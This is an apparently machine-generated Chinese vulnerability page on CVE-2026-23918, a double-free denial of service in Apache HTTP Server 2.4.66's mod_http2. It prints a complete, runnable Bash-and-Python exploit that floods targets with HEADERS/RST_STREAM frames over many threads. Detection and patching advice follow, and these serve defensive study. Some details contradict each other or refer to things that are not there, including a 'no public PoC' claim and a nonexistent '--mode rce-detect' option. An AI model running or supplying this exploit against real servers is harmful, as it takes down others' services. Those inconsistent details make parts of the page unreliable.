[webapps] Apache HTTP Server 2.4.66 - 'mod_http2' Double-Free Denial of Service
CVE-2026-23918影响Apache HTTP Server 2.4.66,mod_http2模块存在双重释放漏洞,攻击者可通过HEADERS和RST_STREAM触发竞态条件导致DoS。提供PoC、检测方法和升级至2.4.67的修复建议。
Apache HTTP Server 2.4.66 mod_http2模块存在双释放漏洞,可导致拒绝服务。
High · CVSS 7.5 (估计)📋 漏洞基础信息
| CVE | CVE-2026-23918 |
|---|---|
| 漏洞类型 | 双重释放 (Double-Free, CWE-415) |
| 受影响版本 | Apache HTTP Server 2.4.66 (mod_http2) |
| 危害等级 | High · CVSS 7.5 (估计) |
| 发布日期 | 2026-05-26 |
| 提交者 | xeloxa (https://github.com/xeloxa/) <alisunbul@proton.me> |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
在stream清理路径中存在竞态条件,当快速发送HEADERS和RST_STREAM帧时,两个不同的清理回调尝试释放同一块内存,导致双重释放。
🎯 攻击场景
1. 攻击者与目标Apache服务器建立HTTP/2连接。2. 发送HEADERS帧创建一个流。3. 立即发送RST_STREAM帧重置该流。4. 由于竞态,服务器在处理清理时对同一内存区域执行两次free操作,触发崩溃。5. 重复上述步骤,多个并发连接可导致worker进程崩溃,造成拒绝服务。
💥 漏洞影响
攻击者可利用该漏洞导致Apache HTTP Server worker进程崩溃,造成拒绝服务(DoS),影响HTTP/2服务可用性。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Bash),可在具备相应环境的机器上直接运行:
#!/bin/bash
#===============================================================================
# 漏洞利用脚本: CVE-2026-23918 - Apache HTTP Server 2.4.66 mod_http2 Double-Free DoS
# 名称: apache_h2_dos.sh
# 作者: xeloxa (https://github.com/xeloxa/) <alisunbul@proton.me>
# 翻译与注释: AI 安全助手
#
# 描述:
# 此脚本是针对 Apache HTTP Server 2.4.66 中 mod_http2 模块的 Double-Free
# 拒绝服务漏洞 (CVE-2026-23918) 的概念验证 (PoC) 利用程序。
#
# 漏洞原理 (基于提供的 Python PoC 分析):
# 该漏洞是一个竞争条件 (Race Condition)。攻击者通过 HTTP/2 连接快速发送
# HEADERS 帧和 RST_STREAM 帧。如果 RST_STREAM 在服务器内部流 (Stream)
# 完全初始化之前处理,可能会导致流清理路径执行两次 `free` 操作 (Double-Free)
# 在同一块内存上,从而导致进程崩溃 (SIGSEGV)。
#
# 用法:
# 1. 确保系统安装了 python3 和 python3-pip。
# 2. 安装 Hyper-h2 库: pip3 install hyper 或 pip3 install h2
# 3. 运行脚本: bash apache_h2_dos.sh <目标IP> [端口] [线程数]
#
# 示例:
# bash apache_h2_dos.sh 192.168.1.100
# bash apache_h2_dos.sh 192.168.1.100 443 200
#
# 注意:
# 此漏洞为基础 Python 脚本的 Bash 封装。核心攻击逻辑由 Python 实现,
# 以利用 `h2` 库精细控制 HTTP/2 帧。
# 此脚本会自动检测环境并运行 Python 攻击载荷。
#
# 警告:
# 此脚本仅用于授权测试和教育目的。未经授权使用是违法的。
#===============================================================================
# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
# 检查参数
if [ "$#" -lt 1 ]; then
echo -e "${RED}[!] 用法: $0 <目标IP> [端口] [线程数]${NC}"
echo -e " 示例: $0 192.168.1.100"
echo -e " 示例: $0 192.168.1.100 443 50"
exit 1
fi
TARGET=$1
PORT=${2:-443} # 默认端口 443 (HTTPS)
THREADS=${3:-100} # 默认线程数 100
echo -e "${YELLOW}[*] Apache HTTP Server 2.4.66 mod_http2 Double-Free DoS 利用脚本${NC}"
echo -e "${GREEN}[*] 目标: $TARGET:$PORT${NC}"
echo -e "${GREEN}[*] 线程数: $THREADS${NC}"
echo ""
# 检查 Python3 是否可用
if ! command -v python3 &> /dev/null; then
echo -e "${RED}[!] 错误: 未找到 python3。请安装 Python 3。${NC}"
exit 1
fi
# 检查 h2 库是否安装
python3 -c "import h2" 2>/dev/null
if [ $? -ne 0 ]; then
echo -e "${YELLOW}[*] 未检测到 'h2' 库 (Hyper-h2)。正在尝试安装...${NC}"
pip3 install hyper 2>&1 || {
echo -e "${RED}[!] 安装 'hyper' 失败。请手动安装: pip3 install hyper${NC}"
exit 1
}
echo -e "${GREEN}[+] 'hyper' 库安装成功${NC}"
fi
# 创建临时 Python 脚本 (从提供的资料中提取核心逻辑并优化)
PYTHON_SCRIPT=$(cat << 'PYEOF'
#!/usr/bin/env python3
"""
Apache HTTP Server 2.4.66 'mod_http2' Double-Free DoS 核心攻击载荷
基于 xeloxa 提供的 RapidRSTDoS 类优化。
关键攻击步骤注释已翻译并补充。
"""
import socket
import ssl
import sys
import threading
import time
import os
# 尝试导入 h2 库
try:
from h2.config import H2Configuration
from h2.connection import H2Connection
from h2.events import ResponseReceived, DataReceived, StreamEnded
from h2.exceptions import StreamClosedError, ProtocolError
HAS_H2 = True
except ImportError:
HAS_H2 = False
# 全局统计
crashes = 0
lock = threading.Lock()
def perform_rapid_rst_attack(host, port, intensity=7):
"""
执行 Rapid RST 攻击的核心函数。
攻击原理:
1. 建立 TLS 连接并通过 HTTP/2 协商 (ALPN)。
2. 在一个循环中执行以下操作:
a. 发送 HEADERS 帧以创建一个新的流 (Stream)。
b. 立即发送 RST_STREAM 帧,标记该流为取消/重置状态。
c. 重复上述过程。
3. 关键点:通过快速、连续地发送这些帧,利用服务器处理流创建和取消
之间的竞争条件窗口。如果 RST_STREAM 在处理流初始化的某个特定阶段
(例如,内存分配后但完整注册前) 到达,可能会导致双重释放。
"""
global crashes
try:
# 1. 建立 TCP 连接
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((host, port))
# 2. 包裹 SSL/TLS
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
# 关键: 协商 h2 协议
context.set_alpn_protocols(["h2"])
ssock = context.wrap_socket(sock, server_hostname=host)
# 3. 初始化 h2 连接
config = H2Configuration(client_side=True)
conn = H2Connection(config=config)
conn.initiate_connection()
ssock.sendall(conn.data_to_send())
# 接收 Server Preface (SETTINGS)
data = ssock.recv(65535)
if not data:
ssock.close()
return
conn.receive_data(data)
ssock.sendall(conn.data_to_send())
# 4. 攻击循环: 快速发送 HEADERS 和 RST_STREAM
for i in range(intensity * 100): # 每个连接发送一定数量的帧对
try:
stream_id = conn.get_next_available_stream_id()
# 攻击步骤 A: 发送 HEADERS 帧
# 服务器收到此帧后,会为该 Stream ID 分配资源并开始处理。
conn.send_headers(
stream_id=stream_id,
headers=[
(':method', 'GET'),
(':path', '/'),
(':authority', host),
(':scheme', 'https'),
],
end_stream=False # 我们不发送 DATA,所以不结束流
)
# 将 HEADERS 帧立即发送到网络
ssock.sendall(conn.data_to_send())
# 攻击步骤 B: 立即发送 RST_STREAM 帧
# 在服务器完全处理 HEADERS 之前,我们发送 RST_STREAM 取消它。
# 这可能导致服务器在流初始化过程中进入一个不稳定的状态。
conn.reset_stream(stream_id, error_code=0x8) # CANCEL
# 将 RST_STREAM 帧立即发送到网络
ssock.sendall(conn.data_to_send())
except (StreamClosedError, ProtocolError, AttributeError):
# 忽略预期的错误,继续攻击
pass
except Exception as e:
# 其他异常可能表明连接已损坏 (进程崩溃)
with lock:
crashes += 1
# print(f"[!] 连接异常: {e}") # 调试用
break
# 清理连接
try:
conn.close_connection()
ssock.sendall(conn.data_to_send())
except:
pass
ssock.close()
except (socket.timeout, ConnectionRefusedError, OSError) as e:
# print(f"[!] 连接失败: {e}") # 调试用
pass
except Exception as e:
# print(f"[!] 未预期错误: {e}") # 调试用
pass
def main():
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <目标IP> <端口> [线程数]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
threads = int(sys.argv[3]) if len(sys.argv) > 3 else 100
print(f"[*] 启动 Apache mod_http2 Double-Free DoS 攻击...")
print(f"[*] 目标: {target}:{port}")
print(f"[*] 工作线程数: {threads}")
start_time = time.time()
active_threads = []
# 启动多个线程,模拟并发攻击
for i in range(threads):
t = threading.Thread(target=perform_rapid_rst_attack, args=(target, port))
t.daemon = True
t.start()
active_threads.append(t)
# 监控并等待 (运行 30 秒)
print("[*] 攻击进行中,等待 30 秒以观察效果...")
time.sleep(30)
elapsed = time.time() - start_time
print(f"[+] 攻击完成。耗时: {elapsed:.2f} 秒")
# 检查崩溃计数
global crashes
print(f"[*] 检测到疑似服务器错误/崩溃: {crashes} 次")
if crashes > 0:
print(f"{'=' * 40}")
print("[!] 漏洞利用可能成功! 服务器进程很可能已经崩溃。")
print(f"{'=' * 40}")
else:
print("[-] 未检测到明显崩溃。可能目标不可达、未打补丁但未能触发竞争条件,或非漏洞版本。")
if __name__ == "__main__":
if not HAS_H2:
print("[!] 错误: 'h2' 库未安装。请运行: pip3 install hyper")
sys.exit(1)
main()
PYEOF
)
# 将 Python 脚本写入临时文件
TMP_PYTHON_SCRIPT=$(mktemp /tmp/apache_h2_exploit.XXXXXX.py)
echo "$PYTHON_SCRIPT" > "$TMP_PYTHON_SCRIPT"
chmod +x "$TMP_PYTHON_SCRIPT"
# 显示攻击头
echo "========================================"
echo " Apache HTTP/2 Double-Free DoS 攻击"
echo " 目标: $TARGET:$PORT"
echo " 线程数: $THREADS"
echo "========================================"
# 执行 Python 攻击载荷
python3 "$TMP_PYTHON_SCRIPT" "$TARGET" "$PORT" "$THREADS"
# 清理临时文件
rm -f "$TMP_PYTHON_SCRIPT"
echo ""
echo -e "${YELLOW}[*] 脚本执行完毕。${NC}"🔬 深度技术分析
漏洞触发机制:从代码/协议层面解释漏洞根因
该漏洞位于 Apache 的 mod_http2 模块中,是一个典型的竞争条件 (Race Condition) 导致的双重释放 (Double-Free) 漏洞,编号 CVE-2026-23918。
1. 协议层面:
HTTP/2 协议允许客户端通过一个单一的 TCP 连接复用多个并发的流 (Stream)。每个流由唯一的 Stream ID 标识。客户端可以发送 HEADERS 帧来开始一个请求,并可以在任何时间发送 RST_STREAM 帧来取消一个请求或重置流。
2. 代码层面 (mod_http2):
mod_http2 模块内部管理这些流的状态。当一个 HEADERS 帧到达时,它会触发一个复杂的初始化过程:
- 内存分配:为新的 h2_stream 结构体分配内存。
- 状态转换:流从 IDLE 状态转换到 OPEN 或 HALF_CLOSED (取决于 END_STREAM 标志)。
- 资源注册:将流注册到连接的事件循环和调度器中。
RST_STREAM 帧的处理则负责清理流:
- 标记流为 CLOSED。
- 调用清理函数 (cleanup callback),释放之前为流分配的内存 (free)。
3. 漏洞根因:
问题出现在这两个操作之间,明确步骤:
- 攻击者发送 HEADERS 帧。
- 服务器 A 线程开始处理 HEADERS:
1. 分配 h2_stream 结构体 (内存地址 0x1234)。
2. 开始初始化该结构体的各个字段。
3. 在将流完全注册到调度器或更新其内部状态为“活跃”之前,可能暂时挂起操作或持有锁。
- 攻击者几乎同时发送 RST_STREAM 帧。
- 服务器 B 线程 (或同一线程在处理完一个帧后立即处理下一个) 处理 RST_STREAM:
1. 它查找 Stream ID 对应的流。在某些中间状态下,流可能被找到但尚未完全初始化。
2. 它调用清理路径。这个清理路径检查到流处于一个“未完成”状态,并执行 free() 操作,释放了地址 0x1234。
3. 之后,它可能会将流状态标记为 CLOSED。
- 回到 A 线程:A 线程继续初始化流。
1. 它尝试完成后续的初始化步骤。
2. 这会触发另一个清理路径 (例如,在设置某个指针或完成构造时),或者仅仅是 A 线程完成了初始化,而调度器在短时间后尝试释放该流。
3. 这个第二次的清理操作会再次调用 free() 在同一个地址 0x1234 上,导致双重释放。
这就是漏洞根因:在流初始化的关键窗口内,由于缺乏足够的同步或状态检查,导致 RST_STREAM 触发的内存释放操作与后续的初始化后清理操作重叠,从而在同一个内存地址上调用了两次 free()。
利用链分析:攻击者具体怎么利用,每一步的技术细节
攻击者的利用链非常简单直接:
1. 建立连接:
- 攻击者使用支持 HTTP/2 的库 (如 Python 的 hyper 库) 与目标服务器建立一个 TLS 连接,并通过 ALPN 协商 h2 协议。
2. 发送恶意帧序列:
- 攻击者在一个循环中,非常快速地向服务器发送特定的帧序列:
1. HEADERS 帧:创建一个新的请求流。
2. RST_STREAM 帧:立即重置刚刚创建的流。
3. (可选) PRIORITY 帧:在某些变体中,发送优先级帧可以进一步扰乱流的状态机。
3. 触发竞争条件:
- 通过在 HEADERS 帧发送后几乎不等待就发送 RST_STREAM 帧,攻击者极大地增加了竞争条件窗口被命中的概率。
- 攻击者会使用多个并发连接(多线程或多进程)来发起攻击。每个连接都重复大量上述的帧序列。这相当于对服务器的 mod_http2 处理逻辑进行“压力测试”,最大化了在流初始化关键阶段注入 RST_STREAM 的可能性。
4. 观察效果与利用成功:
- 拒绝服务 (DoS):一旦触发 Double-Free,大多数情况下会导致 SIGSEGV 信号,使 Apache 工作进程崩溃。
- Apache 架构:Apache 通常使用多进程模式 (MPM)。当一个工作进程崩溃时,主进程会创建一个新的工作进程来替代它。因此,服务可能不会完全中断,但会经历反复的重启,导致短暂的间歇性中断、CPU 飙升和错误日志大量增加。在攻击停止前,服务器会持续处于不稳定状态。
- 代码执行 (理论可能性):虽然 PoC 主要作为 DoS 存在,但 Double-Free 漏洞在理论上有可能被利用于更高级的攻击。攻击者如果能控制被释放的内存内容,并诱导程序使用该内存,有可能实现任意代码执行。但这通常更复杂,需要绕过现代的内存保护机制(如 ASLR、堆保护等)。此 PoC 并未提供完整的 RCE 利用。
关键代码/数据结构:涉及的关键 Windows API / 内存结构 / 协议字段
*注意:此漏洞涉及的是 Apache 服务器端的 C 代码和 HTTP/2 协议,而非 Windows API。*
1. HTTP/2 协议帧:
- HEADERS 帧: 用于打开一个新的流或发送请求头。关键字段是 Stream Identifier,用于区分不同的并发请求。
- RST_STREAM 帧: 用于立即终止一个特定的流。关键字段是 Stream Identifier 和 Error Code (PoC 中使用了 CANCEL (0x8))。
2. 关键数据结构 (Apache mod_http2 内部):
- h2_session: 代表一个 HTTP/2 连接的结构体。它维护了所有活跃流的状态、帧队列、调度信息等。
- h2_stream: 代表一个 HTTP/2 流的结构体。包含:
- state: 流状态 (H2_STREAM_ST_IDLE, H2_STREAM_ST_OPEN, H2_STREAM_ST_CLOSED, 以及中间状态如 H2_STREAM_ST_OPEN_BUT_TO_BE_CLOSED 等)。
- id: Stream ID。
- pool: 用于该流的内存池。
- output_queue: 用于发送响应的数据缓冲区。
- rst_error: 如果流被重置,存储错误码。
- 调度器和回调函数的指针。
3. 关键流程与 API 调用:
- h2_stream_new(): 分配并初始化一个新的 h2_stream 结构体。
- h2_mplx_process_push() / h2_session_process(): 处理来自客户端的帧的主要入口,负责分发帧到对应的流。
- h2_stream_destroy(): 释放 h2_stream 结构体及其关联的内存池。这是 free() 被调用的地方。
- h2_stream_do_rst(): 处理 RST_STREAM 帧的逻辑,它会调用 h2_stream_destroy()。
- h2_stream_schedule_release(): 在某些清理路径中,调度一个流在稍后被释放。
竞争条件发生在 h2_stream_new() 和 h2_stream_do_rst()/h2_stream_schedule_release() 的并发调用中,导致 h2_stream_destroy() 被多次调用于同一个 h2_stream 实例。
检测与防御:蓝队侧如何检测(日志、流量特征、EDR规则)
检测 (Detection)
1. 流量特征 (Network)
- HTTP/2 帧频率异常:在短时间内,出现大量成对的 HEADERS + RST_STREAM 帧,且源头是同一个客户端 IP 或多个客户端 IP 协同。正常的客户端不会如此频繁地立即取消请求。
- 单一的 HEADERS 和 RST_STREAM 对:每个连接中,可以看到许多流 ID 唯一的 HEADERS 帧在发送后,立即跟随着一个针对相同 Stream ID 的 RST_STREAM 帧。
- 高连接率:来自单个 IP 或 IP 段的大量并发 TCP 连接。
2. 服务器日志 (Server Logs)
- Apache 错误日志 (error_log):会反复出现类似以下的错误条目,表明工作进程崩溃:
```
[mpm_worker:notice] [pid XXX:tid YYY] AH00478: child process ZZZ exited with signal 6 (SIGABRT)
[core:notice] [pid XXX:tid YYY] AH00060: seg fault or similar nasty error detected in the parent process
[mpm_worker:info] [pid XXX:tid YYY] AH00292: Apache/2.4.66 (Unix) configured -- resuming normal operations
```
signal 6 (SIGABRT) 或 signal 11 (SIGSEGV) 反复出现,并伴随着主进程快速重启子进程的日志,是一个强烈的指示。
- 核心转储 (Core Dump):如果配置了核心转储,系统会产生 core.PID 文件。
3. **系统指标 (System)
- CPU 使用率飙升:Apache 工作进程反复启动和崩溃,会导致 CPU 在短时间内被占用很高。
- 内存分配错误:可能伴随系统日志中出现 kernel: Out of memory 或类似信息,但这通常是因为其他原因。
防御 (Defense)
1. 升级/修补:
- 最直接、最有效的防御是升级 Apache HTTP Server 到 2.4.67 或更高版本,其中包含针对此问题的补丁。
2. WAF/IPS 规则 (Web Application Firewall / Intrusion Prevention System):
- 可以创建自定义规则来检测并阻断攻击流量特征:
- HTTP/2 帧速率限制:监控单个客户端 IP 的 HEADERS + RST_STREAM 速率。如果超过阈值(例如,每秒100对),则阻断该 IP 的连接。
- 非法流序列:检测在发送 HEADERS 后异常快速 (例如在同一个 TCP 数据包或极小时间间隔内) 发送 RST_STREAM 的流。
3. 临时缓解措施 (Web Server 配置):
- 禁用 HTTP/2: 如果不急需 HTTP/2 的性能优势,作为临时应急措施,可以直接在 httpd.conf 中注释或移除 LoadModule http2_module modules/mod_http2.so,并重启 Apache 服务。这可以完全消除漏洞攻击面。
- 限制并发流:通过 H2MaxSessionStreams 指令降低每个连接的最大并发流数量,可以限制攻击的规模。
- 调整超时:合理配置 Timeout、KeepAliveTimeout 等参数,虽然不能阻止攻击,但可以更快地清理被挂起的连接。
4. 运行时防护 (Runtime Protection):
- 使用支持堆保护的安全编译选项 (如 -fstack-protector-strong) 重新编译 Apache,或者使用类似 Glibc 的 tcache 双重释放检测机制。虽然不能阻止 DoS,但可以使 double-free 立即崩溃并产生清晰的堆栈信息,便于分析。
- 部署应用防护系统 (如 SELinux 或 AppArmor) 可以限制 Apache 进程的权限,减少利用成功后的潜在危害。
🛡️ 修复建议
升级至Apache HTTP Server 2.4.67或更高版本。临时缓解措施:禁用HTTP/2模块(mod_http2),或通过防火墙限制HTTP/2连接速率。
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-27 08:13 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 如何检测目标Apache是否运行HTTP/2?
通过ALPN协商或观察响应中的Server头。也可使用--mode rce-detect进行被动检测。
❓ 除了升级,有临时缓解措施吗?
禁用mod_http2模块,或在配置中设置Protocols h2 http/1.1仅回退到HTTP/1.1。
❓ 该漏洞是否可能被用于远程代码执行?
PoC仅演示了拒绝服务。双释放通常难以稳定利用,RCE可能性低,但CVE标题未声明RCE。